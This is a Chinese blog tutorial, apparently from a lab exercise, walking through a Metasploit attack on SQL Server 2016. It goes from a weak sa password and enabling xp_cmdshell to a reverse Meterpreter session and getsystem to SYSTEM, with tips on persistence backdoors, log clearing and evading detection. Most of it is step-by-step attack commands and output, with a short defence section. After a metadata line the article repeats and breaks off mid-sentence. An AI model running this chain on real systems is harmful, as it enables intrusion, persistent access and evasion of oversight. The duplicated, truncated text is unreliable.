1. 从一次内部攻防演练说起为什么SQL Server提权值得单独拎出来讲但凡做过几年内网渗透的兄弟都有个共识边界打点靠运气内网横向靠耐心而真正决定一次演练能走多深的往往是对数据库服务的利用深度。SQL Server作为企业内网里出现频率极高的关系型数据库几乎成了每场攻防演练的“必争之地”。原因很直接——它一旦配置不当就不只是一个存数据的仓库而是一台可以直接执行系统命令、读写文件、甚至反弹会话的“跳板机”。这次我想聊的是我在某次内部攻防演练中用Metasploit对一台暴露在DMZ区后方的SQL Server做渗透测试并最终完成提权的完整过程。注意这里说的是内部授权演练所有操作都在隔离靶场环境里完成不涉及任何真实业务系统。我之所以把这个过程单独整理出来是因为SQL Server的提权路径和普通Web提权、Linux提权完全不是一个思路它有一套自己的“玩法”从口令爆破到xp_cmdshell启用从mssql_exec模块到getsystem每一步都有坑每一步也都有讲究。这篇文章适合谁看如果你已经会用Metasploit做基础的漏洞利用但对数据库服务的后渗透还停留在“能连上就行”的阶段那这篇内容应该能帮你把SQL Server这条链路彻底打通。如果你是完全的新手也没关系我会把每个关键参数和背后的原理都拆开讲尽量让你看完就能在自己的靶场里复现一遍。先说结论SQL Server提权的核心不在于“用什么工具”而在于对权限链路的理解——你当前拿到的是什么权限、目标SQL Server服务以什么账户运行、xp_cmdshell是否可用、能不能写文件、能不能反弹会话这几个问题想清楚了工具只是顺手的事。2. 整体思路拆解为什么选Metasploit而不是手搓脚本2.1 工具选型的底层逻辑很多人一提到SQL Server渗透第一反应是去翻sqlmap或者手写Python脚本调pymssql。这些方法当然能用但在实际演练里我更倾向于用Metasploit原因有三个。第一是模块化程度高。Metasploit里跟MSSQL相关的模块相当齐全从mssql_login做口令爆破到mssql_enum做信息收集再到mssql_exec直接执行命令最后用mssql_payload反弹会话整条链路是打通的。你不需要在多个工具之间来回切换、手动传数据省下来的时间可以放在分析目标环境上。第二是会话管理方便。一旦通过mssql_payload拿到了Meterpreter会话后续的提权、信息收集、横向移动都可以在同一个框架里完成。相比之下如果你用sqlmap的--os-shell拿到的是一个半交互的shell后续操作会别扭很多。第三是参数可控性强。Metasploit的每个模块都有详细的options你可以精确控制连接方式、认证方式、payload类型。这一点在遇到一些“非标准”环境时特别重要比如目标只开了非默认端口、或者只允许Windows认证不允许SQL认证这些情况用Metasploit都能灵活应对。当然Metasploit也不是万能的。它的mssql_*模块在面对某些打了补丁或者做了加固的目标时成功率会明显下降。这时候就需要回到手工思路用sqlcmd或者自己写脚本去试。所以我的建议是把Metasploit当作主力但心里要有一套手工备选方案。2.2 提权路径的几种可能在动手之前得先想清楚“提权”这两个字在SQL Server场景下到底意味着什么。根据目标环境的不同提权路径大致可以分成三类。第一类是数据库权限到系统权限。这是最经典的一条路你通过弱口令拿到了SQL Server的登录权限如果这个登录账户有sysadmin角色那就可以直接启用xp_cmdshell以SQL Server服务账户的身份执行系统命令。如果服务账户恰好是LocalSystem或者有较高权限的域账户那基本就等于拿到了系统权限。第二类是低权限数据库账户到高权限数据库账户。有时候你拿到的账户不是sysadmin但可能有db_owner或者某些存储过程的执行权限。这种情况下可以通过提权漏洞比如某些版本的EXECUTE AS滥用或者利用TRUSTWORTHY数据库属性来提升数据库内的权限再走第一条路。第三类是通过SQL Server服务本身的漏洞。比如某些未打补丁的版本存在远程代码执行漏洞可以直接绕过认证拿到系统权限。这类路径对版本依赖很强需要先做精确的版本识别。这次演练里我遇到的是第一类情况也是最常见的一种。目标SQL Server 2016开了1433端口通过弱口令拿到了一个sa账户服务以NT Service\MSSQLSERVER运行。虽然服务账户不是LocalSystem但通过xp_cmdshell执行命令后发现当前账户在本地Administrators组里这就为后续提权铺平了道路。2.3 为什么先做信息收集再动手我见过不少新手一上来就use auxiliary/scanner/mssql/mssql_login开始爆破爆出来之后直接mssql_exec执行命令结果发现xp_cmdshell被禁用了或者命令执行了但没回显然后就卡住了。问题出在跳过了信息收集这一步。在SQL Server渗透里信息收集至少要做到以下几点确认目标版本和补丁情况、确认认证模式SQL认证还是Windows认证、确认当前账户的权限角色、确认xp_cmdshell和OLE Automation等关键组件的状态、确认服务账户的身份。这些信息决定了你后面能走哪条路、用什么模块、传什么payload。所以我的习惯是先跑mssql_enum把能拿的信息都拿到再根据结果决定下一步。这个模块会返回数据库版本、当前用户、角色成员、可用的存储过程、配置项状态等一大堆信息基本上跑完一遍目标的大致情况就清楚了。3. 核心细节解析从连接目标到命令执行的每一步3.1 连接目标认证方式与端口确认第一步永远是确认目标可达。在Metasploit里我一般先用auxiliary/scanner/mssql/mssql_ping扫一下这个模块会尝试通过UDP 1434端口获取SQL Server的实例信息包括实例名、版本、端口号。如果目标没开UDP 1434那就直接上mssql_login试连接。这里有个细节SQL Server默认端口是1433但很多管理员会改成非标准端口。如果你不确定端口可以用nmap先扫一遍nmap -sV -p 1433,1434,1435,2433 target_ip-sV会做版本探测能识别出MSSQL服务的具体版本。这一步很重要因为不同版本的SQL Server在提权路径上差异很大。比如SQL Server 2000默认就开着xp_cmdshell而2005之后默认关闭再比如某些版本对OLE Automation的支持也不一样。确认端口和版本之后用mssql_login做认证测试。这个模块支持两种认证方式SQL认证和Windows认证。SQL认证需要用户名和密码Windows认证需要域名、用户名和密码。在演练环境里我一般先试SQL认证因为很多管理员会图省事直接用sa账户配弱口令。msf6 use auxiliary/scanner/mssql/mssql_login msf6 auxiliary(scanner/mssql/mssql_login) set RHOSTS target_ip msf6 auxiliary(scanner/mssql/mssql_login) set USERNAME sa msf6 auxiliary(scanner/mssql/mssql_login) set PASSWORD password msf6 auxiliary(scanner/mssql/mssql_login) set RPORT 1433 msf6 auxiliary(scanner/mssql/mssql_login) run如果返回Login Successful说明认证通过。这时候别急着往下走先把这个凭据记下来后面mssql_exec和mssql_payload都要用。提示如果mssql_login返回失败但你又确定目标开着1433端口可以试试用mssql_login的USERNAME和PASSWORD参数跑一个字典。Metasploit支持从文件读取用户名和密码列表配合STOP_ON_SUCCESS参数可以在成功时自动停止效率比手动试高很多。3.2 信息收集mssql_enum能告诉你什么认证通过之后下一步是跑mssql_enum。这个模块是SQL Server渗透里的“瑞士军刀”它会尝试获取以下信息数据库版本和补丁级别当前登录用户及其角色成员关系所有数据库列表可用的存储过程包括xp_cmdshell、xp_regread、xp_regwrite等配置项状态比如xp_cmdshell是否启用、OLE Automation是否启用服务账户身份链接服务器信息msf6 use auxiliary/admin/mssql/mssql_enum msf6 auxiliary(admin/mssql/mssql_enum) set RHOSTS target_ip msf6 auxiliary(admin/mssql/mssql_enum) set USERNAME sa msf6 auxiliary(admin/mssql/mssql_enum) set PASSWORD password msf6 auxiliary(admin/mssql/mssql_enum) run跑完之后重点看几个地方。第一是Current User和Roles确认当前账户是不是sysadmin。第二是xp_cmdshell的状态如果显示disabled后面就需要先启用。第三是Service Account这个决定了你执行命令时的身份。第四是OLE Automation Procedures如果启用可以通过sp_OACreate和sp_OAMethod来执行命令这是一条备选路径。我这次演练里mssql_enum返回的结果显示当前用户是sa属于sysadmin角色xp_cmdshell状态是disabled服务账户是NT Service\MSSQLSERVEROLE Automation也是disabled。这意味着我需要先启用xp_cmdshell然后才能执行命令。3.3 启用xp_cmdshell为什么默认关闭以及如何开启xp_cmdshell是SQL Server里一个扩展存储过程允许以SQL Server服务账户的身份执行操作系统命令。它的存在本身是为了方便管理员做自动化运维但因为权限太大从SQL Server 2005开始默认关闭而且需要通过sp_configure来显式启用。启用xp_cmdshell需要两步先把show advanced options打开再把xp_cmdshell打开。这两步都需要sysadmin权限。EXEC sp_configure show advanced options, 1; RECONFIGURE; EXEC sp_configure xp_cmdshell, 1; RECONFIGURE;在Metasploit里可以用mssql_exec模块来执行这些SQL语句。mssql_exec的本质是连接目标SQL Server执行你指定的SQL查询然后返回结果。它不依赖xp_cmdshell所以即使xp_cmdshell没开也能用来执行配置语句。msf6 use auxiliary/admin/mssql/mssql_exec msf6 auxiliary(admin/mssql/mssql_exec) set RHOSTS target_ip msf6 auxiliary(admin/mssql/mssql_exec) set USERNAME sa msf6 auxiliary(admin/mssql/mssql_exec) set PASSWORD password msf6 auxiliary(admin/mssql/mssql_exec) set CMD EXEC sp_configure show advanced options, 1; RECONFIGURE; EXEC sp_configure xp_cmdshell, 1; RECONFIGURE; msf6 auxiliary(admin/mssql/mssql_exec) run执行完之后再用mssql_enum确认一下xp_cmdshell的状态如果变成enabled就可以往下走了。注意有些环境里sp_configure可能被管理员通过策略限制或者xp_cmdshell的DLL被删除。这种情况下可以尝试用sp_addextendedproc重新注册xp_cmdshell或者走OLE Automation那条路。具体用哪种取决于目标环境的具体限制。3.4 命令执行与权限确认xp_cmdshell启用之后就可以用它来执行系统命令了。在Metasploit里有两种方式一种是用mssql_exec直接执行xp_cmdshell命令另一种是用mssql_payload直接反弹一个Meterpreter会话。先说我常用的第一种方式用mssql_exec执行whoami确认当前身份msf6 auxiliary(admin/mssql/mssql_exec) set CMD exec master..xp_cmdshell whoami msf6 auxiliary(admin/mssql/mssql_exec) run返回的结果如果是nt service\mssqlserver说明命令是以SQL Server服务账户执行的。这时候可以进一步执行whoami /groups看看这个账户在本地有哪些权限。如果发现它在Administrators组里那提权就很有希望了。我这次演练里whoami /groups返回的结果显示NT Service\MSSQLSERVER确实在BUILTIN\Administrators组里。这意味着虽然它不是一个普通的本地用户但因为它属于管理员组所以拥有管理员权限。这种情况下可以直接用mssql_payload反弹一个Meterpreter会话然后尝试getsystem。3.5 反弹会话mssql_payload的用法与参数mssql_payload模块的作用是通过xp_cmdshell在目标上执行一个payload然后反弹一个Meterpreter会话回来。它的原理是先把payload的可执行文件写到目标磁盘上然后用xp_cmdshell执行它。msf6 use exploit/windows/mssql/mssql_payload msf6 exploit(windows/mssql/mssql_payload) set RHOSTS target_ip msf6 exploit(windows/mssql/mssql_payload) set USERNAME sa msf6 exploit(windows/mssql/mssql_payload) set PASSWORD password msf6 exploit(windows/mssql/mssql_payload) set LHOST your_ip msf6 exploit(windows/mssql/mssql_payload) set LPORT 4444 msf6 exploit(windows/mssql/mssql_payload) set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/mssql/mssql_payload) run这里有几个参数需要特别注意。LHOST和LPORT是你自己的监听地址和端口确保目标能回连。PAYLOAD的选择取决于目标系统的架构如果是64位系统就用x64版本32位就用x86版本。如果不确定可以先执行systeminfo看一下。mssql_payload默认会尝试用xp_cmdshell来执行payload如果xp_cmdshell不可用它会尝试用sp_OACreate作为备选。这个模块的容错性做得不错但在实际使用中我还是建议先手动确认xp_cmdshell可用再跑这个模块成功率会高很多。4. 实操过程全记录从零到拿到系统权限4.1 环境准备与目标确认这次演练的目标是一台Windows Server 2016IP是192.168.10.50开了1433端口。我先用nmap做了一次版本扫描nmap -sV -p 1433 192.168.10.50返回结果1433/tcp open ms-sql-s Microsoft SQL Server 2016 13.00.1601.00; RTM确认是SQL Server 2016 RTM版本这个版本没有打任何补丁存在一些已知的提权漏洞但这次我走的是配置不当的路径不依赖漏洞。接下来用mssql_login做认证测试。我先试了sa账户配几个常见弱口令第三个就中了msf6 use auxiliary/scanner/mssql/mssql_login msf6 auxiliary(scanner/mssql/mssql_login) set RHOSTS 192.168.10.50 msf6 auxiliary(scanner/mssql/mssql_login) set USERNAME sa msf6 auxiliary(scanner/mssql/mssql_login) set PASSWORD Pssw0rd123 msf6 auxiliary(scanner/mssql/mssql_login) run返回[] 192.168.10.50:1433 - Login Successful: sa:Pssw0rd123认证通过。4.2 信息收集与权限确认认证通过后跑mssql_enummsf6 use auxiliary/admin/mssql/mssql_enum msf6 auxiliary(admin/mssql/mssql_enum) set RHOSTS 192.168.10.50 msf6 auxiliary(admin/mssql/mssql_enum) set USERNAME sa msf6 auxiliary(admin/mssql/mssql_enum) set PASSWORD Pssw0rd123 msf6 auxiliary(admin/mssql/mssql_enum) run关键返回信息整理成表格项目结果数据库版本Microsoft SQL Server 2016 (13.00.1601.00)当前用户sa角色sysadminxp_cmdshelldisabledOLE Automationdisabled服务账户NT Service\MSSQLSERVER认证模式混合认证从表格可以看出当前账户是sysadmin但xp_cmdshell和OLE Automation都是关闭的。服务账户是NT Service\MSSQLSERVER这是一个虚拟账户权限通常比较有限但需要进一步确认它在本地组里的成员关系。4.3 启用xp_cmdshell并执行命令用mssql_exec启用xp_cmdshellmsf6 use auxiliary/admin/mssql/mssql_exec msf6 auxiliary(admin/mssql/mssql_exec) set RHOSTS 192.168.10.50 msf6 auxiliary(admin/mssql/mssql_exec) set USERNAME sa msf6 auxiliary(admin/mssql/mssql_exec) set PASSWORD Pssw0rd123 msf6 auxiliary(admin/mssql/mssql_exec) set CMD EXEC sp_configure show advanced options, 1; RECONFIGURE; EXEC sp_configure xp_cmdshell, 1; RECONFIGURE; msf6 auxiliary(admin/mssql/mssql_exec) run执行成功没有报错。再用mssql_exec执行whoami确认身份msf6 auxiliary(admin/mssql/mssql_exec) set CMD exec master..xp_cmdshell whoami msf6 auxiliary(admin/mssql/mssql_exec) run返回nt service\mssqlserver。接着执行whoami /groupsmsf6 auxiliary(admin/mssql/mssql_exec) set CMD exec master..xp_cmdshell whoami /groups msf6 auxiliary(admin/mssql/mssql_exec) run返回结果里有一行BUILTIN\Administrators说明这个服务账户在本地管理员组里。这是一个关键发现意味着通过xp_cmdshell执行的命令实际上拥有管理员权限。4.4 反弹Meterpreter会话确认权限之后用mssql_payload反弹会话msf6 use exploit/windows/mssql/mssql_payload msf6 exploit(windows/mssql/mssql_payload) set RHOSTS 192.168.10.50 msf6 exploit(windows/mssql/mssql_payload) set USERNAME sa msf6 exploit(windows/mssql/mssql_payload) set PASSWORD Pssw0rd123 msf6 exploit(windows/mssql/mssql_payload) set LHOST 192.168.10.100 msf6 exploit(windows/mssql/mssql_payload) set LPORT 4444 msf6 exploit(windows/mssql/mssql_payload) set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/mssql/mssql_payload) run几秒钟后Meterpreter会话建立[*] Meterpreter session 1 opened (192.168.10.100:4444 - 192.168.10.50:49152)进入会话后先确认当前权限meterpreter getuid Server username: NT Service\MSSQLSERVER虽然getuid显示的是服务账户但因为它在管理员组里所以实际上拥有管理员权限。这时候可以尝试getsystemmeterpreter getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).getsystem成功当前权限提升为NT AUTHORITY\SYSTEM。到这里提权完成。4.5 提权后的信息收集与痕迹清理拿到SYSTEM权限后我做了几件事。第一是确认系统信息meterpreter sysinfo Computer : WIN-XXXXX OS : Windows Server 2016 (10.0 Build 14393) Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 3 Meterpreter : x64/windows第二是检查是否有域环境meterpreter run post/windows/gather/enum_domain返回结果显示目标不在域内是独立服务器。这意味着横向移动的空间有限但作为演练目标已经足够了。第三是清理痕迹。在授权演练里清理痕迹是必须的主要是删除mssql_payload上传的payload文件、恢复xp_cmdshell的配置、清除SQL Server日志里的相关记录。具体操作这里不展开但思路是你改了什么就恢复什么。5. 常见问题与排查技巧实录5.1 连接失败认证通过但模块报错这是最常见的问题之一。mssql_login显示Login Successful但mssql_exec或mssql_payload却报连接错误。原因通常有几个一是目标SQL Server配置了Remote Access限制只允许本地连接二是防火墙只放行了1433端口的入站但没放行出站回连三是Metasploit的RPORT设置不对。排查思路先用mssql_exec执行一个简单的SELECT VERSION确认模块能正常连接。如果这个都失败说明是连接层面的问题检查RHOSTS、RPORT、USERNAME、PASSWORD这四个参数。如果SELECT VERSION能成功但xp_cmdshell执行失败那就是xp_cmdshell没启用或者被限制。5.2 xp_cmdshell启用失败权限不足或被策略阻止有时候你明明是sysadmin但执行sp_configure xp_cmdshell, 1却报错。常见原因有两个一是show advanced options没打开需要先执行sp_configure show advanced options, 1; RECONFIGURE;二是目标启用了Policy-Based Management通过策略强制关闭了xp_cmdshell这种情况下sp_configure会被策略覆盖。如果是第二种情况可以尝试用sp_addextendedproc重新注册xp_cmdshell的DLL或者走OLE Automation路径。OLE Automation的启用方式和xp_cmdshell类似EXEC sp_configure show advanced options, 1; RECONFIGURE; EXEC sp_configure Ole Automation Procedures, 1; RECONFIGURE;启用之后可以用sp_OACreate和sp_OAMethod来执行命令具体语法这里不展开但思路和xp_cmdshell类似。5.3 命令执行无回显如何确认命令是否执行xp_cmdshell执行命令时如果命令本身没有输出或者输出被截断mssql_exec可能返回空结果。这时候不要慌命令很可能已经执行了。确认方法有两个一是执行一个一定会产生输出的命令比如whoami或ipconfig二是把命令的输出重定向到文件然后用type命令读取。比如exec master..xp_cmdshell whoami C:\Windows\Temp\out.txt exec master..xp_cmdshell type C:\Windows\Temp\out.txt这种方法在命令输出较长或者包含特殊字符时特别有用。5.4 getsystem失败为什么提权不成功getsystem失败的原因通常有几个一是当前账户虽然看起来在管理员组里但实际上是一个过滤后的令牌UAC限制二是目标系统打了某些补丁导致getsystem使用的技术被阻止三是当前会话的完整性级别不够。排查思路先用getprivs看看当前会话有哪些特权。如果SeDebugPrivilege和SeImpersonatePrivilege都在那getsystem应该能成功。如果不在可以尝试用steal_token窃取其他进程的令牌或者用incognito模块做令牌模拟。如果getsystem确实不行还可以尝试用ms16-032、ms16-075等本地提权模块。这些模块在Metasploit里都有用法和普通exploit一样。5.5 常见问题速查表问题现象可能原因排查方法解决方案mssql_login成功但mssql_exec失败连接参数错误或远程访问限制执行SELECT VERSION测试检查RPORT、确认远程访问已开启xp_cmdshell启用报错show advanced options未开或策略限制查看错误信息先开show advanced options或走OLE Automation命令执行无回显命令无输出或输出被截断重定向到文件再读取用重定向再用type读取getsystem失败UAC限制或补丁阻止getprivs查看特权用steal_token或本地提权模块mssql_payload无会话出站防火墙阻止或payload不兼容检查LHOST和架构换端口、换payload架构提示在实际演练中我建议把每个步骤的结果都记录下来尤其是mssql_enum的输出。这些信息在后续排查问题时非常有用而且可以作为演练报告的素材。6. 防御视角从蓝队角度看SQL Server提权怎么防聊完攻击路径也得说说防御。毕竟做演练的目的是为了发现问题、解决问题。从蓝队视角看SQL Server提权之所以能成功通常是因为几个配置上的疏忽。第一是弱口令。sa账户配弱口令是最常见的问题没有之一。防御方法很简单禁用sa账户或者给sa设置一个强密码并且定期更换。如果业务允许尽量用Windows认证代替SQL认证。第二是过度授权。很多管理员图省事直接把应用账户加到sysadmin角色里。正确的做法是遵循最小权限原则应用账户只给必要的数据库权限不给sysadmin。第三是xp_cmdshell未禁用。虽然默认是禁用的但有些管理员为了运维方便会手动开启然后就忘了关。防御方法是定期检查xp_cmdshell的状态确保它是关闭的。如果业务确实需要也要限制只有特定账户能调用。第四是服务账户权限过高。NT Service\MSSQLSERVER这个虚拟账户默认不在管理员组里但如果管理员手动把它加进去了就会导致提权变得异常简单。防御方法是定期检查SQL Server服务账户的本地组成员关系确保它不在Administrators组里。第五是补丁滞后。SQL Server的很多提权漏洞都是通过补丁修复的如果长期不打补丁就等于把门敞开着。防御方法是建立补丁管理流程定期更新SQL Server和操作系统补丁。从检测角度看SQL Server提权会在日志里留下一些痕迹。比如xp_cmdshell的启用会在SQL Server错误日志里记录sp_configure的执行也会被审计。如果开启了SQL Server审计功能这些操作都会被记录下来。蓝队可以通过监控这些日志来发现异常行为。7. 最后分享几个实操中的小技巧第一个技巧是善用mssql_exec做信息收集。很多人只知道用mssql_exec执行xp_cmdshell其实它也可以直接执行SQL查询。比如你想知道当前数据库有哪些表、哪些用户可以直接用mssql_exec执行SELECT语句比用mssql_enum更灵活。第二个技巧是payload的架构选择。mssql_payload默认用的是windows/meterpreter/reverse_tcp这是32位的。如果目标是64位系统最好手动指定windows/x64/meterpreter/reverse_tcp。虽然32位payload在64位系统上也能跑但有些功能会受限比如getsystem的成功率会降低。第三个技巧是会话保持。通过mssql_payload拿到的会话如果目标重启或者SQL Server服务重启会话就会断。如果想让会话更稳定可以在拿到会话后用persistence模块做一个持久化后门。当然在授权演练里持久化操作要谨慎确保不会对目标造成长期影响。第四个技巧是多路径备份。不要只依赖xp_cmdshell一条路。如果xp_cmdshell被禁用了试试OLE Automation如果OLE Automation也不行试试用xp_regwrite写注册表启动项如果都不行还可以试试用BULK INSERT写文件。多准备几条路遇到障碍时就不会卡住。第五个技巧是注意OPSEC。在实际演练里动作越大被发现的概率越高。mssql_payload上传的payload文件、执行的命令、建立的连接都会在目标系统上留下痕迹。如果演练有蓝队参与尽量用内存执行的方式减少落盘操作。Metasploit的mssql_payload默认会落盘如果条件允许可以试试用mssql_exec配合PowerShell的内存加载方式减少痕迹。这些技巧都是我在多次演练里踩坑踩出来的希望对你有用。SQL Server提权这条链路说复杂也复杂说简单也简单关键是把每个环节的原理搞清楚然后根据目标环境灵活调整。工具是死的思路是活的。 
长河君 · 2026/10/17 16:41:07 · 阅读 1.2k Metasploit实战：SQL Server数据库提权从弱口令到SYSTEM权限
1. 从一次内部攻防演练说起为什么SQL Server提权值得单独拎出来讲但凡做过几年内网渗透的兄弟都有个共识边界打点靠运气内网横向靠耐心而真正决定一次演练能走多深的往往是对数据库服务的利用深度。SQL Server作为企业内网里出现频率极高的关系型数据库几乎成了每场攻防演练的“必争之地”。原因很直接——它一旦配置不当就不只是一个存数据的仓库而是一台可以直接执行系统命令、读写文件、甚至反弹会话的“跳板机”。这次我想聊的是我在某次内部攻防演练中用Metasploit对一台暴露在DMZ区后方的SQL Server做渗透测试并最终完成提权的完整过程。注意这里说的是内部授权演练所有操作都在隔离靶场环境里完成不涉及任何真实业务系统。我之所以把这个过程单独整理出来是因为SQL Server的提权路径和普通Web提权、Linux提权完全不是一个思路它有一套自己的“玩法”从口令爆破到xp_cmdshell启用从mssql_exec模块到getsystem每一步都有坑每一步也都有讲究。这篇文章适合谁看如果你已经会用Metasploit做基础的漏洞利用但对数据库服务的后渗透还停留在“能连上就行”的阶段那这篇内容应该能帮你把SQL Server这条链路彻底打通。如果你是完全的新手也没关系我会把每个关键参数和背后的原理都拆开讲尽量让你看完就能在自己的靶场里复现一遍。先说结论SQL Server提权的核心不在于“用什么工具”而在于对权限链路的理解——你当前拿到的是什么权限、目标SQL Server服务以什么账户运行、xp_cmdshell是否可用、能不能写文件、能不能反弹会话这几个问题想清楚了工具只是顺手的事。2. 整体思路拆解为什么选Metasploit而不是手搓脚本2.1 工具选型的底层逻辑很多人一提到SQL Server渗透第一反应是去翻sqlmap或者手写Python脚本调pymssql。这些方法当然能用但在实际演练里我更倾向于用Metasploit原因有三个。第一是模块化程度高。Metasploit里跟MSSQL相关的模块相当齐全从mssql_login做口令爆破到mssql_enum做信息收集再到mssql_exec直接执行命令最后用mssql_payload反弹会话整条链路是打通的。你不需要在多个工具之间来回切换、手动传数据省下来的时间可以放在分析目标环境上。第二是会话管理方便。一旦通过mssql_payload拿到了Meterpreter会话后续的提权、信息收集、横向移动都可以在同一个框架里完成。相比之下如果你用sqlmap的--os-shell拿到的是一个半交互的shell后续操作会别扭很多。第三是参数可控性强。Metasploit的每个模块都有详细的options你可以精确控制连接方式、认证方式、payload类型。这一点在遇到一些“非标准”环境时特别重要比如目标只开了非默认端口、或者只允许Windows认证不允许SQL认证这些情况用Metasploit都能灵活应对。当然Metasploit也不是万能的。它的mssql_*模块在面对某些打了补丁或者做了加固的目标时成功率会明显下降。这时候就需要回到手工思路用sqlcmd或者自己写脚本去试。所以我的建议是把Metasploit当作主力但心里要有一套手工备选方案。2.2 提权路径的几种可能在动手之前得先想清楚“提权”这两个字在SQL Server场景下到底意味着什么。根据目标环境的不同提权路径大致可以分成三类。第一类是数据库权限到系统权限。这是最经典的一条路你通过弱口令拿到了SQL Server的登录权限如果这个登录账户有sysadmin角色那就可以直接启用xp_cmdshell以SQL Server服务账户的身份执行系统命令。如果服务账户恰好是LocalSystem或者有较高权限的域账户那基本就等于拿到了系统权限。第二类是低权限数据库账户到高权限数据库账户。有时候你拿到的账户不是sysadmin但可能有db_owner或者某些存储过程的执行权限。这种情况下可以通过提权漏洞比如某些版本的EXECUTE AS滥用或者利用TRUSTWORTHY数据库属性来提升数据库内的权限再走第一条路。第三类是通过SQL Server服务本身的漏洞。比如某些未打补丁的版本存在远程代码执行漏洞可以直接绕过认证拿到系统权限。这类路径对版本依赖很强需要先做精确的版本识别。这次演练里我遇到的是第一类情况也是最常见的一种。目标SQL Server 2016开了1433端口通过弱口令拿到了一个sa账户服务以NT Service\MSSQLSERVER运行。虽然服务账户不是LocalSystem但通过xp_cmdshell执行命令后发现当前账户在本地Administrators组里这就为后续提权铺平了道路。2.3 为什么先做信息收集再动手我见过不少新手一上来就use auxiliary/scanner/mssql/mssql_login开始爆破爆出来之后直接mssql_exec执行命令结果发现xp_cmdshell被禁用了或者命令执行了但没回显然后就卡住了。问题出在跳过了信息收集这一步。在SQL Server渗透里信息收集至少要做到以下几点确认目标版本和补丁情况、确认认证模式SQL认证还是Windows认证、确认当前账户的权限角色、确认xp_cmdshell和OLE Automation等关键组件的状态、确认服务账户的身份。这些信息决定了你后面能走哪条路、用什么模块、传什么payload。所以我的习惯是先跑mssql_enum把能拿的信息都拿到再根据结果决定下一步。这个模块会返回数据库版本、当前用户、角色成员、可用的存储过程、配置项状态等一大堆信息基本上跑完一遍目标的大致情况就清楚了。3. 核心细节解析从连接目标到命令执行的每一步3.1 连接目标认证方式与端口确认第一步永远是确认目标可达。在Metasploit里我一般先用auxiliary/scanner/mssql/mssql_ping扫一下这个模块会尝试通过UDP 1434端口获取SQL Server的实例信息包括实例名、版本、端口号。如果目标没开UDP 1434那就直接上mssql_login试连接。这里有个细节SQL Server默认端口是1433但很多管理员会改成非标准端口。如果你不确定端口可以用nmap先扫一遍nmap -sV -p 1433,1434,1435,2433 target_ip-sV会做版本探测能识别出MSSQL服务的具体版本。这一步很重要因为不同版本的SQL Server在提权路径上差异很大。比如SQL Server 2000默认就开着xp_cmdshell而2005之后默认关闭再比如某些版本对OLE Automation的支持也不一样。确认端口和版本之后用mssql_login做认证测试。这个模块支持两种认证方式SQL认证和Windows认证。SQL认证需要用户名和密码Windows认证需要域名、用户名和密码。在演练环境里我一般先试SQL认证因为很多管理员会图省事直接用sa账户配弱口令。msf6 use auxiliary/scanner/mssql/mssql_login msf6 auxiliary(scanner/mssql/mssql_login) set RHOSTS target_ip msf6 auxiliary(scanner/mssql/mssql_login) set USERNAME sa msf6 auxiliary(scanner/mssql/mssql_login) set PASSWORD password msf6 auxiliary(scanner/mssql/mssql_login) set RPORT 1433 msf6 auxiliary(scanner/mssql/mssql_login) run如果返回Login Successful说明认证通过。这时候别急着往下走先把这个凭据记下来后面mssql_exec和mssql_payload都要用。提示如果mssql_login返回失败但你又确定目标开着1433端口可以试试用mssql_login的USERNAME和PASSWORD参数跑一个字典。Metasploit支持从文件读取用户名和密码列表配合STOP_ON_SUCCESS参数可以在成功时自动停止效率比手动试高很多。3.2 信息收集mssql_enum能告诉你什么认证通过之后下一步是跑mssql_enum。这个模块是SQL Server渗透里的“瑞士军刀”它会尝试获取以下信息数据库版本和补丁级别当前登录用户及其角色成员关系所有数据库列表可用的存储过程包括xp_cmdshell、xp_regread、xp_regwrite等配置项状态比如xp_cmdshell是否启用、OLE Automation是否启用服务账户身份链接服务器信息msf6 use auxiliary/admin/mssql/mssql_enum msf6 auxiliary(admin/mssql/mssql_enum) set RHOSTS target_ip msf6 auxiliary(admin/mssql/mssql_enum) set USERNAME sa msf6 auxiliary(admin/mssql/mssql_enum) set PASSWORD password msf6 auxiliary(admin/mssql/mssql_enum) run跑完之后重点看几个地方。第一是Current User和Roles确认当前账户是不是sysadmin。第二是xp_cmdshell的状态如果显示disabled后面就需要先启用。第三是Service Account这个决定了你执行命令时的身份。第四是OLE Automation Procedures如果启用可以通过sp_OACreate和sp_OAMethod来执行命令这是一条备选路径。我这次演练里mssql_enum返回的结果显示当前用户是sa属于sysadmin角色xp_cmdshell状态是disabled服务账户是NT Service\MSSQLSERVEROLE Automation也是disabled。这意味着我需要先启用xp_cmdshell然后才能执行命令。3.3 启用xp_cmdshell为什么默认关闭以及如何开启xp_cmdshell是SQL Server里一个扩展存储过程允许以SQL Server服务账户的身份执行操作系统命令。它的存在本身是为了方便管理员做自动化运维但因为权限太大从SQL Server 2005开始默认关闭而且需要通过sp_configure来显式启用。启用xp_cmdshell需要两步先把show advanced options打开再把xp_cmdshell打开。这两步都需要sysadmin权限。EXEC sp_configure show advanced options, 1; RECONFIGURE; EXEC sp_configure xp_cmdshell, 1; RECONFIGURE;在Metasploit里可以用mssql_exec模块来执行这些SQL语句。mssql_exec的本质是连接目标SQL Server执行你指定的SQL查询然后返回结果。它不依赖xp_cmdshell所以即使xp_cmdshell没开也能用来执行配置语句。msf6 use auxiliary/admin/mssql/mssql_exec msf6 auxiliary(admin/mssql/mssql_exec) set RHOSTS target_ip msf6 auxiliary(admin/mssql/mssql_exec) set USERNAME sa msf6 auxiliary(admin/mssql/mssql_exec) set PASSWORD password msf6 auxiliary(admin/mssql/mssql_exec) set CMD EXEC sp_configure show advanced options, 1; RECONFIGURE; EXEC sp_configure xp_cmdshell, 1; RECONFIGURE; msf6 auxiliary(admin/mssql/mssql_exec) run执行完之后再用mssql_enum确认一下xp_cmdshell的状态如果变成enabled就可以往下走了。注意有些环境里sp_configure可能被管理员通过策略限制或者xp_cmdshell的DLL被删除。这种情况下可以尝试用sp_addextendedproc重新注册xp_cmdshell或者走OLE Automation那条路。具体用哪种取决于目标环境的具体限制。3.4 命令执行与权限确认xp_cmdshell启用之后就可以用它来执行系统命令了。在Metasploit里有两种方式一种是用mssql_exec直接执行xp_cmdshell命令另一种是用mssql_payload直接反弹一个Meterpreter会话。先说我常用的第一种方式用mssql_exec执行whoami确认当前身份msf6 auxiliary(admin/mssql/mssql_exec) set CMD exec master..xp_cmdshell whoami msf6 auxiliary(admin/mssql/mssql_exec) run返回的结果如果是nt service\mssqlserver说明命令是以SQL 